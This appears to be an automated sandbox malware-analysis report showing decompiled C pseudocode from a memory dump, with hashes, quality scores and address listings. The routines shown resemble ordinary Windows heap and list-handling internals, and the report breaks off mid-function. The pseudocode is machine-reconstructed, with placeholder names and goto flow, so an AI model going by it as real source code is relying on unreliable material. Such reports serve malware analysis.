                                      0x036e6dbb
                                      0x036e6d90
                                      0x036e6d69
                                      0x036e6d46
                                      0x036e6dc6

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 17d1c074e6dc32c3b428d382d6afe718dd01a09458b3ecdf091881f532154ea7
                                      • Instruction ID: c3dc03f6e3c8152e587f4c034ef84b310d16e929c02109def381d45d157cc406
                                      • Opcode Fuzzy Hash: 17d1c074e6dc32c3b428d382d6afe718dd01a09458b3ecdf091881f532154ea7
                                      • Instruction Fuzzy Hash: AA2104725013489BC711EFA8CA44B6BB7ECEFA5640F48095AF940DB251E734D90DC6A6
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 67%
                                      			E0373070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
                                      				char _v8;
                                      				intOrPtr _v11;
                                      				signed int _v12;
                                      				intOrPtr _v15;
                                      				signed int _v16;
                                      				intOrPtr _v28;
                                      				void* __ebx;
                                      				char* _t32;
                                      				signed int* _t38;
                                      				signed int _t60;
                                      
                                      				_t38 = __ecx;
                                      				_v16 = __edx;
                                      				_t60 = E037307DF(__ecx, __edx,  &_a4,  &_a8, 2);
                                      				if(_t60 != 0) {
                                      					_t7 = _t38 + 0x38; // 0x29cd5903
                                      					_push( *_t7);
                                      					_t9 = _t38 + 0x34; // 0x6adeeb00
                                      					_push( *_t9);
                                      					_v12 = _a8 << 0xc;
                                      					_t11 = _t38 + 4; // 0x5de58b5b
                                      					_push(0x4000);
                                      					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
                                      					E0372AFDE( &_v8,  &_v12);
                                      					E03731293(_t38, _v28, _t60);
                                      					if(E03687D50() == 0) {
                                      						_t32 = 0x7ffe0380;
                                      					} else {
                                      						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
                                      					}
                                      					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
                                      						_t21 = _t38 + 0x3c; // 0xc3595e5f
                                      						E037214FB(_t38,  *_t21, _v11, _v15, 0xd);
                                      					}
                                      				}
                                      				return  ~_t60;
                                      			}













                                      0x0373071b
                                      0x03730724
                                      0x03730734
                                      0x03730738
                                      0x0373074b
                                      0x0373074b
                                      0x03730753
                                      0x03730753
                                      0x03730759
                                      0x0373075d
                                      0x03730774
                                      0x03730779
                                      0x0373077d
                                      0x03730789
                                      0x03730795
                                      0x037307a7
                                      0x03730797
                                      0x037307a0
                                      0x037307a0
                                      0x037307af
                                      0x037307c4
                                      0x037307cd
                                      0x037307cd
                                      0x037307af
                                      0x037307dc

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
                                      • Instruction ID: 6f3378ffc396e5bcec0c82fdd4213c2d09acc94087fc69b306f12ff22f64d02b
                                      • Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
                                      • Instruction Fuzzy Hash: C521043A2043009FDB15DF18C884B6ABBA5EFC5350F08866DF9958F382DB30D919CB91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 82%
                                      			E036E7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
                                      				intOrPtr _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _t21;
                                      				void* _t24;
                                      				intOrPtr _t25;
                                      				void* _t36;
                                      				short _t39;
                                      				signed char* _t42;
                                      				unsigned int _t46;
                                      				void* _t50;
                                      
                                      				_push(__ecx);
                                      				_push(__ecx);
                                      				_t21 =  *0x3757b9c; // 0x0
                                      				_t46 = _a8;
                                      				_v12 = __edx;
                                      				_v8 = __ecx;
                                      				_t4 = _t46 + 0x2e; // 0x2e
                                      				_t36 = _t4;
                                      				_t24 = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
                                      				_t50 = _t24;
                                      				if(_t50 != 0) {
                                      					_t25 = _a4;
                                      					if(_t25 == 5) {
                                      						L3:
                                      						_t39 = 0x14b1;
                                      					} else {
                                      						_t39 = 0x14b0;
                                      						if(_t25 == 6) {
                                      							goto L3;
                                      						}
                                      					}
                                      					 *((short*)(_t50 + 6)) = _t39;
                                      					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
                                      					_t11 = _t50 + 0x2c; // 0x2c
                                      					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
                                      					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
                                      					E036AF3E0(_t11, _a12, _t46);
                                      					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
                                      					if(E03687D50() == 0) {
                                      						_t42 = 0x7ffe0384;
                                      					} else {
                                      						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      					}
                                      					_push(_t50);
                                      					_t19 = _t36 - 0x20; // 0xe
                                      					_push(0x403);
                                      					_push( *_t42 & 0x000000ff);
                                      					E036A9AE0();
                                      					_t24 = L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
                                      				}
                                      				return _t24;
                                      			}













                                      0x036e7799
                                      0x036e779a
                                      0x036e779b
                                      0x036e77a3
                                      0x036e77ab
                                      0x036e77ae
                                      0x036e77b1
                                      0x036e77b1
                                      0x036e77bf
                                      0x036e77c4
                                      0x036e77c8
                                      0x036e77ce
                                      0x036e77d4
                                      0x036e77e0
                                      0x036e77e0
                                      0x036e77d6
                                      0x036e77d6
                                      0x036e77de
                                      0x00000000
                                      0x00000000
                                      0x036e77de
                                      0x036e77e5
                                      0x036e77f0
                                      0x036e77f3
                                      0x036e77f6
                                      0x036e77fd
                                      0x036e7800
                                      0x036e780c
                                      0x036e7818
                                      0x036e782b
                                      0x036e781a
                                      0x036e7823
                                      0x036e7823
                                      0x036e7830
                                      0x036e7831
                                      0x036e7838
                                      0x036e783d
                                      0x036e783e
                                      0x036e784f
                                      0x036e784f
                                      0x036e785a

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 58c4021da6812f4643e4168166e4a96d1e36b5d259d565ed7a7aa7fbce2f6dba
                                      • Instruction ID: 3c2fa1347dd73c70eb17b0de258785a525b67b855a5a354f69ab66196766f53c
                                      • Opcode Fuzzy Hash: 58c4021da6812f4643e4168166e4a96d1e36b5d259d565ed7a7aa7fbce2f6dba
                                      • Instruction Fuzzy Hash: 3721AE76901644ABC725DF69DC84EABB7A8EF4C340F14456DF50ACB750E634E900CBA8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 96%
                                      			E0368AE73(intOrPtr __ecx, void* __edx) {
                                      				intOrPtr _v8;
                                      				void* _t19;
                                      				char* _t22;
                                      				signed char* _t24;
                                      				intOrPtr _t25;
                                      				intOrPtr _t27;
                                      				void* _t31;
                                      				intOrPtr _t36;
                                      				char* _t38;
                                      				signed char* _t42;
                                      
                                      				_push(__ecx);
                                      				_t31 = __edx;
                                      				_v8 = __ecx;
                                      				_t19 = E03687D50();
                                      				_t38 = 0x7ffe0384;
                                      				if(_t19 != 0) {
                                      					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      				} else {
                                      					_t22 = 0x7ffe0384;
                                      				}
                                      				_t42 = 0x7ffe0385;
                                      				if( *_t22 != 0) {
                                      					if(E03687D50() == 0) {
                                      						_t24 = 0x7ffe0385;
                                      					} else {
                                      						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
                                      					}
                                      					if(( *_t24 & 0x00000010) != 0) {
                                      						goto L17;
                                      					} else {
                                      						goto L3;
                                      					}
                                      				} else {
                                      					L3:
                                      					_t27 = E03687D50();
                                      					if(_t27 != 0) {
                                      						_t27 =  *[fs:0x30];
                                      						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
                                      					}
                                      					if( *_t38 != 0) {
                                      						_t27 =  *[fs:0x30];
                                      						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
                                      							goto L5;
                                      						}
                                      						_t27 = E03687D50();
                                      						if(_t27 != 0) {
                                      							_t27 =  *[fs:0x30];
                                      							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
                                      						}
                                      						if(( *_t42 & 0x00000020) != 0) {
                                      							L17:
                                      							_t25 = _v8;
                                      							_t36 = 0;
                                      							if(_t25 != 0) {
                                      								_t36 =  *((intOrPtr*)(_t25 + 0x18));
                                      							}
                                      							_t27 = E036E7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
                                      						}
                                      						goto L5;
                                      					} else {
                                      						L5:
                                      						return _t27;
                                      					}
                                      				}
                                      			}













                                      0x0368ae78
                                      0x0368ae7c
                                      0x0368ae7e
                                      0x0368ae81
                                      0x0368ae86
                                      0x0368ae8d
                                      0x036d2691
                                      0x0368ae93
                                      0x0368ae93
                                      0x0368ae93
                                      0x0368ae98
                                      0x0368ae9d
                                      0x036d26a2
                                      0x036d26b4
                                      0x036d26a4
                                      0x036d26ad
                                      0x036d26ad
                                      0x036d26b9
                                      0x00000000
                                      0x036d26bb
                                      0x00000000
                                      0x036d26bb
                                      0x0368aea3
                                      0x0368aea3
                                      0x0368aea3
                                      0x0368aeaa
                                      0x036d26c0
                                      0x036d26c9
                                      0x036d26c9
                                      0x0368aeb3
                                      0x036d26d4
                                      0x036d26e1
                                      0x00000000
                                      0x00000000
                                      0x036d26e7
                                      0x036d26ee
                                      0x036d26f0
                                      0x036d26f9
                                      0x036d26f9
                                      0x036d2702
                                      0x036d2708
                                      0x036d2708
                                      0x036d270b
                                      0x036d270f
                                      0x036d2711
                                      0x036d2711
                                      0x036d2725
                                      0x036d2725
                                      0x00000000
                                      0x0368aeb9
                                      0x0368aeb9
                                      0x0368aebf
                                      0x0368aebf
                                      0x0368aeb3

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
                                      • Instruction ID: 4d2a6cb58e23ea26341fb220485b5f80de8a9658d7aeb94dbf546485685c1ff1
                                      • Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
                                      • Instruction Fuzzy Hash: 9B21D431A01780DFDB26EB69CA58B2577E8EF48640F1D09E1ED048B792D734DC52D690
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 93%
                                      			E0369FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
                                      				intOrPtr _v8;
                                      				void* _t19;
                                      				intOrPtr _t29;
                                      				intOrPtr _t32;
                                      				intOrPtr _t35;
                                      				intOrPtr _t37;
                                      				intOrPtr* _t40;
                                      
                                      				_t35 = __edx;
                                      				_push(__ecx);
                                      				_push(__ecx);
                                      				_t37 = 0;
                                      				_v8 = __edx;
                                      				_t29 = __ecx;
                                      				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
                                      					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
                                      					L3:
                                      					_t19 = _a4 - 4;
                                      					if(_t19 != 0) {
                                      						if(_t19 != 1) {
                                      							L7:
                                      							return _t37;
                                      						}
                                      						if(_t35 == 0) {
                                      							L11:
                                      							_t37 = 0xc000000d;
                                      							goto L7;
                                      						}
                                      						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
                                      							_t35 = _v8;
                                      						}
                                      						 *((intOrPtr*)(_t40 + 4)) = _t35;
                                      						goto L7;
                                      					}
                                      					if(_t29 == 0) {
                                      						goto L11;
                                      					}
                                      					_t32 =  *_t40;
                                      					if(_t32 != 0) {
                                      						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
                                      						E036776E2( *_t40);
                                      					}
                                      					 *_t40 = _t29;
                                      					goto L7;
                                      				}
                                      				_t40 = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
                                      				if(_t40 == 0) {
                                      					_t37 = 0xc0000017;
                                      					goto L7;
                                      				}
                                      				_t35 = _v8;
                                      				 *_t40 = 0;
                                      				 *((intOrPtr*)(_t40 + 4)) = 0;
                                      				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
                                      				goto L3;
                                      			}










                                      0x0369fd9b
                                      0x0369fda0
                                      0x0369fda1
                                      0x0369fdab
                                      0x0369fdad
                                      0x0369fdb0
                                      0x0369fdb8
                                      0x0369fe0f
                                      0x0369fde6
                                      0x0369fde9
                                      0x0369fdec
                                      0x036dc0c0
                                      0x0369fdfe
                                      0x0369fe06
                                      0x0369fe06
                                      0x036dc0c8
                                      0x0369fe2d
                                      0x0369fe2d
                                      0x00000000
                                      0x0369fe2d
                                      0x036dc0d1
                                      0x036dc0e0
                                      0x036dc0e5
                                      0x036dc0e5
                                      0x036dc0e8
                                      0x00000000
                                      0x036dc0e8
                                      0x0369fdf4
                                      0x00000000
                                      0x00000000
                                      0x0369fdf6
                                      0x0369fdfa
                                      0x0369fe1a
                                      0x0369fe1f
                                      0x0369fe1f
                                      0x0369fdfc
                                      0x00000000
                                      0x0369fdfc
                                      0x0369fdcc
                                      0x0369fdd0
                                      0x0369fe26
                                      0x00000000
                                      0x0369fe26
                                      0x0369fdd8
                                      0x0369fddb
                                      0x0369fddd
                                      0x0369fde0
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
                                      • Instruction ID: dfe6252417b40f9e81af2e2ccfb835462c6d06394be676e669c7ff582e7cc59a
                                      • Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
                                      • Instruction Fuzzy Hash: 82217C72A00645DFEB31CF09C640A66F7E9EB98A11F2A816EE945CB710D7319C01DB80
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 54%
                                      			E0369B390(void* __ecx, intOrPtr _a4) {
                                      				signed int _v8;
                                      				signed char _t12;
                                      				signed int _t16;
                                      				signed int _t21;
                                      				void* _t28;
                                      				signed int _t30;
                                      				signed int _t36;
                                      				signed int _t41;
                                      
                                      				_push(__ecx);
                                      				_t41 = _a4 + 0xffffffb8;
                                      				E03682280(_t12, 0x3758608);
                                      				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
                                      				asm("sbb edi, edi");
                                      				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
                                      				_v8 = _t36;
                                      				asm("lock cmpxchg [ebx], ecx");
                                      				_t30 = 1;
                                      				if(1 != 1) {
                                      					while(1) {
                                      						_t21 = _t30 & 0x00000006;
                                      						_t16 = _t30;
                                      						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
                                      						asm("lock cmpxchg [edi], esi");
                                      						if(_t16 == _t30) {
                                      							break;
                                      						}
                                      						_t30 = _t16;
                                      					}
                                      					_t36 = _v8;
                                      					if(_t21 == 2) {
                                      						_t16 = E036A00C2(0x3758608, 0, _t28);
                                      					}
                                      				}
                                      				if(_t36 != 0) {
                                      					_t16 = L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
                                      				}
                                      				return _t16;
                                      			}











                                      0x0369b395
                                      0x0369b3a2
                                      0x0369b3a5
                                      0x0369b3aa
                                      0x0369b3b2
                                      0x0369b3ba
                                      0x0369b3bd
                                      0x0369b3c0
                                      0x0369b3c4
                                      0x0369b3c9
                                      0x036da3e9
                                      0x036da3ed
                                      0x036da3f0
                                      0x036da3ff
                                      0x036da403
                                      0x036da409
                                      0x00000000
                                      0x00000000
                                      0x036da40b
                                      0x036da40b
                                      0x036da40f
                                      0x036da415
                                      0x036da423
                                      0x036da423
                                      0x036da415
                                      0x0369b3d1
                                      0x0369b3e8
                                      0x0369b3e8
                                      0x0369b3d9

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f9b0644c06ca47e6ff6242dacee6e56b0fae99010897e9cf70706f9f2e382a6b
                                      • Instruction ID: 2075309078017ced552b308c01f561cca979e8733c6267a4922729c6628ec846
                                      • Opcode Fuzzy Hash: f9b0644c06ca47e6ff6242dacee6e56b0fae99010897e9cf70706f9f2e382a6b
                                      • Instruction Fuzzy Hash: A4116F377051149FDF18DA55DE4162B725BEBC9330B29013EED16CB380CA719C02C695
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 77%
                                      			E03669240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
                                      				intOrPtr _t33;
                                      				intOrPtr _t37;
                                      				intOrPtr _t41;
                                      				intOrPtr* _t46;
                                      				void* _t48;
                                      				intOrPtr _t50;
                                      				intOrPtr* _t60;
                                      				void* _t61;
                                      				intOrPtr _t62;
                                      				intOrPtr _t65;
                                      				void* _t66;
                                      				void* _t68;
                                      
                                      				_push(0xc);
                                      				_push(0x373f708);
                                      				E036BD08C(__ebx, __edi, __esi);
                                      				_t65 = __ecx;
                                      				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
                                      				if( *(__ecx + 0x24) != 0) {
                                      					_push( *(__ecx + 0x24));
                                      					E036A95D0();
                                      					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
                                      				}
                                      				L6();
                                      				L6();
                                      				_push( *((intOrPtr*)(_t65 + 0x28)));
                                      				E036A95D0();
                                      				_t33 =  *0x37584c4; // 0x0
                                      				L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
                                      				_t37 =  *0x37584c4; // 0x0
                                      				L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
                                      				_t41 =  *0x37584c4; // 0x0
                                      				E03682280(L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x37586b4);
                                      				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
                                      				_t46 = _t65 + 0xe8;
                                      				_t62 =  *_t46;
                                      				_t60 =  *((intOrPtr*)(_t46 + 4));
                                      				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
                                      					_t61 = 3;
                                      					asm("int 0x29");
                                      					_push(_t65);
                                      					_t66 = _t61;
                                      					_t23 = _t66 + 0x14; // 0x8df8084c
                                      					_push( *_t23);
                                      					E036A95D0();
                                      					_t24 = _t66 + 0x10; // 0x89e04d8b
                                      					_push( *_t24);
                                      					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
                                      					_t48 = E036A95D0();
                                      					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
                                      					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
                                      					return _t48;
                                      				} else {
                                      					 *_t60 = _t62;
                                      					 *((intOrPtr*)(_t62 + 4)) = _t60;
                                      					 *(_t68 - 4) = 0xfffffffe;
                                      					E03669325();
                                      					_t50 =  *0x37584c4; // 0x0
                                      					return E036BD0D1(L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
                                      				}
                                      			}















                                      0x03669240
                                      0x03669242
                                      0x03669247
                                      0x0366924c
                                      0x0366924e
                                      0x03669255
                                      0x03669257
                                      0x0366925a
                                      0x0366925f
                                      0x0366925f
                                      0x03669266
                                      0x03669271
                                      0x03669276
                                      0x03669279
                                      0x0366927e
                                      0x03669295
                                      0x0366929a
                                      0x036692b1
                                      0x036692b6
                                      0x036692d7
                                      0x036692dc
                                      0x036692e0
                                      0x036692e6
                                      0x036692e8
                                      0x036692ee
                                      0x03669332
                                      0x03669333
                                      0x03669337
                                      0x03669338
                                      0x0366933a
                                      0x0366933a
                                      0x0366933d
                                      0x03669342
                                      0x03669342
                                      0x03669345
                                      0x03669349
                                      0x0366934e
                                      0x03669352
                                      0x03669357
                                      0x036692f4
                                      0x036692f4
                                      0x036692f6
                                      0x036692f9
                                      0x03669300
                                      0x03669306
                                      0x03669324
                                      0x03669324

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: e2a8c892e3b8012696ece8da07965d9e9336d121748f16c9bc8732494926b7f7
                                      • Instruction ID: 81384fbd547768c4b93c1729214b546845c31f895a7cb80473d1f3a8a9fb0e7c
                                      • Opcode Fuzzy Hash: e2a8c892e3b8012696ece8da07965d9e9336d121748f16c9bc8732494926b7f7
                                      • Instruction Fuzzy Hash: 48211475141B40EFC725EF28CA40B5AB7F9BF08704F14466CE44A9A6A2CB74E941CB48
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 90%
                                      			E036F4257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
                                      				intOrPtr* _t18;
                                      				intOrPtr _t24;
                                      				intOrPtr* _t27;
                                      				intOrPtr* _t30;
                                      				intOrPtr* _t31;
                                      				intOrPtr _t33;
                                      				intOrPtr* _t34;
                                      				intOrPtr* _t35;
                                      				void* _t37;
                                      				void* _t38;
                                      				void* _t39;
                                      				void* _t43;
                                      
                                      				_t39 = __eflags;
                                      				_t35 = __edi;
                                      				_push(8);
                                      				_push(0x37408d0);
                                      				E036BD08C(__ebx, __edi, __esi);
                                      				_t37 = __ecx;
                                      				E036F41E8(__ebx, __edi, __ecx, _t39);
                                      				E0367EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
                                      				_t18 = _t37 + 8;
                                      				_t33 =  *_t18;
                                      				_t27 =  *((intOrPtr*)(_t18 + 4));
                                      				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
                                      					L8:
                                      					_push(3);
                                      					asm("int 0x29");
                                      				} else {
                                      					 *_t27 = _t33;
                                      					 *((intOrPtr*)(_t33 + 4)) = _t27;
                                      					_t35 = 0x37587e4;
                                      					_t18 =  *0x37587e0; // 0x0
                                      					while(_t18 != 0) {
                                      						_t43 = _t18 -  *0x3755cd0; // 0xffffffff
                                      						if(_t43 >= 0) {
                                      							_t31 =  *0x37587e4; // 0x0
                                      							_t18 =  *_t31;
                                      							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
                                      								goto L8;
                                      							} else {
                                      								 *0x37587e4 = _t18;
                                      								 *((intOrPtr*)(_t18 + 4)) = _t35;
                                      								L03667055(_t31 + 0xfffffff8);
                                      								_t24 =  *0x37587e0; // 0x0
                                      								_t18 = _t24 - 1;
                                      								 *0x37587e0 = _t18;
                                      								continue;
                                      							}
                                      						}
                                      						goto L9;
                                      					}
                                      				}
                                      				L9:
                                      				__eflags =  *0x3755cd0;
                                      				if( *0x3755cd0 <= 0) {
                                      					L03667055(_t37);
                                      				} else {
                                      					_t30 = _t37 + 8;
                                      					_t34 =  *0x37587e8; // 0x0
                                      					__eflags =  *_t34 - _t35;
                                      					if( *_t34 != _t35) {
                                      						goto L8;
                                      					} else {
                                      						 *_t30 = _t35;
                                      						 *((intOrPtr*)(_t30 + 4)) = _t34;
                                      						 *_t34 = _t30;
                                      						 *0x37587e8 = _t30;
                                      						 *0x37587e0 = _t18 + 1;
                                      					}
                                      				}
                                      				 *(_t38 - 4) = 0xfffffffe;
                                      				return E036BD0D1(L036F4320());
                                      			}















                                      0x036f4257
                                      0x036f4257
                                      0x036f4257
                                      0x036f4259
                                      0x036f425e
                                      0x036f4263
                                      0x036f4265
                                      0x036f4273
                                      0x036f4278
                                      0x036f427c
                                      0x036f427f
                                      0x036f4281
                                      0x036f4287
                                      0x036f42d7
                                      0x036f42d7
                                      0x036f42da
                                      0x036f428d
                                      0x036f428d
                                      0x036f428f
                                      0x036f4292
                                      0x036f4297
                                      0x036f429c
                                      0x036f42a0
                                      0x036f42a6
                                      0x036f42a8
                                      0x036f42ae
                                      0x036f42b3
                                      0x00000000
                                      0x036f42ba
                                      0x036f42ba
                                      0x036f42bf
                                      0x036f42c5
                                      0x036f42ca
                                      0x036f42cf
                                      0x036f42d0
                                      0x00000000
                                      0x036f42d0
                                      0x036f42b3
                                      0x00000000
                                      0x036f42a6
                                      0x036f429c
                                      0x036f42dc
                                      0x036f42dc
                                      0x036f42e3
                                      0x036f4309
                                      0x036f42e5
                                      0x036f42e5
                                      0x036f42e8
                                      0x036f42ee
                                      0x036f42f0
                                      0x00000000
                                      0x036f42f2
                                      0x036f42f2
                                      0x036f42f4
                                      0x036f42f7
                                      0x036f42f9
                                      0x036f4300
                                      0x036f4300
                                      0x036f42f0
                                      0x036f430e
                                      0x036f431f

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 77e4419cf4ed75568510c8341f9d19820e081174bf20e11c77b4855f1c28ae26
                                      • Instruction ID: 143636a9d7f39117981911542ce5ac7a597a3d71c8ed50b711172475a44ec321
                                      • Opcode Fuzzy Hash: 77e4419cf4ed75568510c8341f9d19820e081174bf20e11c77b4855f1c28ae26
                                      • Instruction Fuzzy Hash: A9213874600701DFC71AEFAAD200615BBB1FF45314B54C6AEC2158BA98DB79D482CB49
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 29%
                                      			E03692397(intOrPtr _a4) {
                                      				void* __ebx;
                                      				void* __ecx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				signed int _t11;
                                      				void* _t19;
                                      				void* _t25;
                                      				void* _t26;
                                      				intOrPtr _t27;
                                      				void* _t28;
                                      				void* _t29;
                                      
                                      				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
                                      				if( *0x375848c != 0) {
                                      					L0368FAD0(0x3758610);
                                      					if( *0x375848c == 0) {
                                      						E0368FA00(0x3758610, _t19, _t27, 0x3758610);
                                      						goto L1;
                                      					} else {
                                      						_push(0);
                                      						_push(_a4);
                                      						_t26 = 4;
                                      						_t29 = E03692581(0x3758610, 0x36450a0, _t26, _t27, _t28);
                                      						E0368FA00(0x3758610, 0x36450a0, _t27, 0x3758610);
                                      					}
                                      				} else {
                                      					L1:
                                      					_t11 =  *0x3758614; // 0x1
                                      					if(_t11 == 0) {
                                      						_t11 = E036A4886(0x3641088, 1, 0x3758614);
                                      					}
                                      					_push(0);
                                      					_push(_a4);
                                      					_t25 = 4;
